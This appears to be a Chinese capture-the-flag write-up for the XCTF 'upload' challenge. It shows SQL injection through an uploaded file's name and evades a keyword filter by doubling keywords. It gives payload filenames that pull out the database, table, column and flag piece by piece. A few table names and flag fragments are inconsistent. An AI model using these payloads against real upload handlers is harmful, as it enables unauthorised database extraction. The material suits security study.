XCTF的upload

利用上传文件的文件名进行sql注入

这里先普及几个mysql函数的用法
	

		
		 1. CONV()
		 			简单的来说这个函数就是用来进行***进制的转换***的
		 			CONV(N,from_base,to_base)
					N是要转换的数据,from_base是原进制,to_base是目标进制。
					select conv(16,10,16);
					+—————-+
					| conv(16,10,16) |
					+—————-+
					| 10 |
					+—————-+
					1 row in set (0.04 sec)
					如果N是有符号数字,则to_base要以负数的形式提供,否则会将N当作无符号数
					
					
					mysql> select conv(-16,10,16);
					+——————+
					| conv(-16,10,16) |
					+——————+
					| FFFFFFFFFFFFFFF0 |
					+——————+
					1 row in set (0.00 sec)
					mysql> select conv(-16,10,-16);
					+——————+
					| conv(-16,10,-16) |
					+——————+
					| -10 |
					+——————+
					1 row in set (0.00 sec)
								 			
		2.substr()
					简单来说 这个函数是用来***搜索字符串***的
					substr(string string,num start,num length);

					string为字符串;
					
					start为起始位置;
					
					length为长度。
					
					mysql中的start是从1开始的,而hibernate中的start是从0开始的。	

		3.hex()
					这个就很好理解了,转为16进制嘛

 
 
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47

OK,接下来正式来看一下题
随便照一张图片,修改文件名为
‘+(selselectect CONV(substr(hex(database()),1,12),16,10))+’.jpg
这里使用复写绕过过滤
所以是 selselectect
查看数据库名

注意,这里substr取12位是因为一旦过长(超出12),就会用科学记数法显示

得到回显
在这里插入图片描述
将回显转为16进制,再转为字符串
在这里插入图片描述
在这里插入图片描述
然后修改一下substr的起始位置参数,看看后边还有没有
修改为:
‘+(selselectect CONV(substr(hex(database()),13,12),16,10))+’.jpg
上传

又得到一个回显
在这里插入图片描述
用相同的方法转为字符串
得到
在这里插入图片描述
拼起来就是web_upload

拿到库名

然后查表
‘+(seleselectct+CONV(substr(hex((selselectect TABLE_NAME frfromom information_schema.TABLES where TABLE_SCHEMA = ‘web_upload’ limit 1,1)),1,12),16,10))+’.jpg
得到回显
114784820031327
转16进制,转字符串
得到 hello_

继续往后查肯定还有
‘+(seleselectct+CONV(substr(hex((selselectect TABLE_NAME frfromom information_schema.TABLES where TABLE_SCHEMA = ‘web_upload’ limit 1,1)),13,12),16,10))+’.jpg
得到回显
112615676665705
转16进制转字符串
得到flag_i

查就完事儿了
‘+(seleselectct+CONV(substr(hex((selselectect TABLE_NAME frfromom information_schema.TABLES where TABLE_SCHEMA = ‘web_upload’ limit 1,1)),25,12),16,10))+’.jpg
得到回显
126853610566245
转16进制转字符串
得到s_here

查到这儿出来一具完整的句子
hello_flag_is_here
差不多就是它了

差这个表里有什么字段:
‘+(seleselectct+CONV(substr(hex((seleselectct COLUMN_NAME frfromom information_schema.COLUMNS where TABLE_NAME=‘hello_flag_i_here’ limit 0,1)),1,12),16,10))+’.jpg
得到回显
115858377367398
转转转
得到i_am_f

一看就没查完,接着查
‘+(seleselectct+CONV(substr(hex((seselectlect COLUMN_NAME frfromom information_schema.COLUMNS where TABLE_NAME = ‘hello_flag_is_here’ limit 0,1)),13,12),16,10))+’.jpg
得到回显
7102823

lag

拼起来:i_am_flag

最后一步了,查flag
‘+CONV(substr(hex((seleselectct i_am_flag frfromom hello_flag_is_here limit 0,1)),1,12),16,10)+’.jpg
得到回显
36427215695199

!!@m

接着查
‘+CONV(substr(hex((seleselectct i_am_flag frfromom hello_flag_is_here limit 0,1)),13,12),16,10)+’.jpg
得到回显
92806431727430

Th.e_F

继续
‘+CONV(substr(hex((seleselectct i_am_flag frfromom hello_flag_is_here limit 0,1)),25,12),16,10)+’.jpg
得到回显
560750951

!lag

拼起来:!!_@m_Th.e_F!lag

flag就出来了

  • 5
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值